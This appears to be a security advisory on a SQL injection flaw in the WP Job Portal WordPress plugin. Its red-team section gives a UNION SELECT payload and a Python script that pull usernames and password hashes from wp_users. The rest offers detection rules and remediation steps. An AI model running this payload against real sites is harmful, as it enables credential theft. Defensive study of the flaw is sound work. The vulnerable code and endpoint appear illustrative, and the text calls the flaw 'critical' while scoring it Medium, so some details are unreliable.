CVE-2024-11710

Executive Summary

CVE-2024-11710 is a critical SQL Injection vulnerability discovered in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress. This flaw affects all versions up to and including 2.2.2. The vulnerability resides in insufficient escaping and lack of prepared statements on the fieldfor, visibleParent, and id parameters. An authenticated attacker with Administrator-level access can inject arbitrary SQL queries, leading to the extraction of sensitive information from the database. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe due to the potential for data exfiltration.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The WP Job Portal plugin is widely used for recruitment management, making it a high-value target for attackers seeking to compromise WordPress sites. The flaw is not related to Apache or Nginx server configurations.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for Administrator privileges reduces the attack surface. However, once authenticated, an attacker can extract the entire database, including user credentials and sensitive data.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection (CWE-89) in the WP Job Portal plugin. The plugin fails to properly sanitize user-supplied input for the fieldfor, visibleParent, and id parameters before incorporating them into SQL queries. Instead of using parameterized queries or prepared statements, the plugin concatenates user input directly into the SQL string.

Root Cause:

• Insufficient escaping of user input.
• Lack of prepared statements in database queries.

Attack Flow:

1. An attacker with Administrator-level access logs into the WordPress admin panel.
2. The attacker crafts a malicious HTTP request to a vulnerable endpoint (e.g., AJAX handler) with SQL injection payloads in the fieldfor, visibleParent, or id parameters.
3. The plugin executes the injected SQL query, allowing the attacker to extract data from the database (e.g., usernames, passwords, user meta).

Example Vulnerable Endpoint:

• POST /wp-admin/admin-ajax.php?action=wp_job_portal_ajax
• Parameters: fieldfor, visibleParent, id

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.2):

$fieldfor = $_POST['fieldfor'];
$query = "SELECT * FROM {$wpdb->prefix}job_fields WHERE fieldfor = '$fieldfor'";
$results = $wpdb->get_results($query);

Patched Code (Hypothetical):

$fieldfor = sanitize_text_field($_POST['fieldfor']);
$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}job_fields WHERE fieldfor = %s", $fieldfor);
$results = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() to safely bind parameters, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Job Portal plugin <= 2.2.2.
• Administrator credentials.

Exploit Steps:

1. Log in as an Administrator.
2. Send a crafted POST request to the vulnerable AJAX endpoint.

Example Payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [admin_cookie]

action=wp_job_portal_ajax&fieldfor=1' UNION SELECT user_login,user_pass FROM wp_users-- -

Expected Output: The response will contain the usernames and password hashes from the wp_users table.

Automation Script (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in": "admin_cookie"}
payload = "1' UNION SELECT user_login,user_pass FROM wp_users-- -"
data = {"action": "wp_job_portal_ajax", "fieldfor": payload}
r = requests.post(target, cookies=cookies, data=data)
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for SQL injection patterns in POST parameters (fieldfor, visibleParent, id).
• Look for unusual database queries from the WordPress admin panel.

Hardening:

• Update the plugin to a patched version (if available).
• Implement Web Application Firewall (WAF) rules to block SQL injection attempts.
• Restrict Administrator access to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=wp_job_portal_ajax and suspicious SQL keywords in fieldfor, visibleParent, or id parameters.
  • SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified plugin files (e.g., wp-job-portal/includes/class-ajax.php).

• Database IOCs:

  • Unauthorized queries to wp_users or wp_usermeta tables.
  • New admin users created via SQL injection.

Detection Engineering

YARA Rule

rule CVE_2024_11710_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11710"
    strings:
        $s1 = "fieldfor=" nocase
        $s2 = "visibleParent=" nocase
        $s3 = "id=" nocase
        $s4 = "UNION" nocase
        $s5 = "SELECT" nocase
        $s6 = "wp_users" nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against WP Job Portal
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts via fieldfor, visibleParent, or id parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wp_job_portal_ajax'
        cs-uri-query|contains|all:
            - 'fieldfor='
            - 'UNION'
    condition: selection
falsepositives:
    - Legitimate admin actions with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11710 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wp_job_portal_ajax"; http_client_body; pcre:"/(fieldfor|visibleParent|id)=.*(UNION|SELECT|DROP)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: If a patched version becomes available, update immediately.
2. Disable Plugin: Temporarily deactivate the WP Job Portal plugin until a patch is applied.
3. Restrict Admin Access: Limit Administrator access to trusted IPs and enforce strong passwords.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Conduct regular security audits of WordPress plugins.
• Use prepared statements for all database queries in custom code.

Workarounds:

• If patching is not possible, modify the plugin code to use $wpdb->prepare() for the vulnerable parameters.

Report generated by Valters IT DevSecOps & CTI Division